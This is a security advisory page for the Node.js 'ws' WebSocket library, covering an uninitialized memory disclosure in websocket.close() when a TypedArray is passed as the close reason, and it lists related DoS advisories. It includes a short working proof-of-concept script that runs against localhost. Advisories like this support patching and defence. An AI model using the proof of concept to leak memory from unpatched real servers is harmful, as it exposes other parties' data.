Vulnerability GHSA-58qx-3vcg-4xpx
Medium Risk
MEDIUM RISK
CVSS Score: 4.4
Score Range: 4.0–6.9
Medium severity vulnerabilities (CVSS 4.0–6.9). Important issues that meaningfully reduce security confidence.
6 months ago
May 18, 2026 at 07:02 PM UTC
ws: Uninitialized memory disclosure
8.0.0 - 8.20.0
8.0.0 - 8.20.0
Summary
ws: Uninitialized memory disclosure
Details
Impact
The websocket.close() implementation is vulnerable to uninitialized memory disclosure when a TypedArray is passed as the reason argument.
Proof of concept
import { deepStrictEqual } from 'node:assert';
import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer(
{ port: 0, skipUTF8Validation: true },
function () {
const { port } = wss.address();
const ws = new WebSocket(`ws://localhost:${port}`, {
skipUTF8Validation: true
});
ws.on('close', function (code, reason) {
deepStrictEqual(reason, Buffer.alloc(80));
});
}
);
wss.on('connection', function (ws) {
ws.close(1000, new Float32Array(20));
});
Patches
The vulnerability was fixed in [email protected] ( https://github.com/websockets/ws/commit/c0327ec15a54d701eb6ccefaa8bef328cfc03086).
Credits
Credit for the private and responsible disclosure of this issue goes to Nikita Skovoroda.
Remarks
Although the calculated CVSS severity is medium, the actual severity is believed to be low, as the flaw is only exploitable through misuse that is unlikely in practice.
Resources
Related Vulnerabilities
Other vulnerabilities affecting the same packages
High Risk
17 hours ago
ws: Memory exhaustion DoS via unbounded automatic pong responses
0.2.6 - 5.2.7 and 6.0.0 - 6.2.6 and 7.0.0 - 7.5.13 and 8.0.0 - 8.22.2 GHSA-37g9-w4hg-h9qr
0.2.6 - 5.2.7 and 6.0.0 - 6.2.6 and 7.0.0 - 7.5.13 and 8.0.0 - 8.22.2 GHSA-37g9-w4hg-h9qr
High Risk
5 months ago
ws: Memory exhaustion DoS from tiny fragments and data chunks
1.1.0 - 5.2.4 and 6.0.0 - 6.2.3 and 7.0.0 - 7.5.10 and 8.0.0 - 8.20.1 GHSA-96hv-2xvq-fx4p
1.1.0 - 5.2.4 and 6.0.0 - 6.2.3 and 7.0.0 - 7.5.10 and 8.0.0 - 8.20.1 GHSA-96hv-2xvq-fx4p
High Risk
2 years ago
ws affected by a DoS when handling a request with many HTTP headers
2.1.0 - 5.2.3 and 6.0.0 - 6.2.2 and 7.0.0 - 7.5.9 and 8.0.0 - 8.17.0 GHSA-3h5v-q93c-6h6q
2.1.0 - 5.2.3 and 6.0.0 - 6.2.2 and 7.0.0 - 7.5.9 and 8.0.0 - 8.17.0 GHSA-3h5v-q93c-6h6q
Medium Risk
5 years ago
ReDoS in Sec-Websocket-Protocol header
5.0.0 - 5.2.2 and 6.0.0 - 6.2.1 and 7.0.0 - 7.4.5 GHSA-6fc8-4gx4-v693
5.0.0 - 5.2.2 and 6.0.0 - 6.2.1 and 7.0.0 - 7.4.5 GHSA-6fc8-4gx4-v693
High Risk
7 years ago
Denial of Service in ws
0.6.0 - 1.1.4 and 2.0.0 - 3.3.0 GHSA-5v72-xg48-5rpm
0.6.0 - 1.1.4 and 2.0.0 - 3.3.0 GHSA-5v72-xg48-5rpm
Impacted packages
Timeline
Published
6 months ago
May 18, 2026 at 07:02 PM UTC
Fixed (8.20.1)
6 months ago
May 12, 2026 at 03:54 PM UTC
Last Modified
2 months ago
September 10, 2026 at 03:51 AM UTC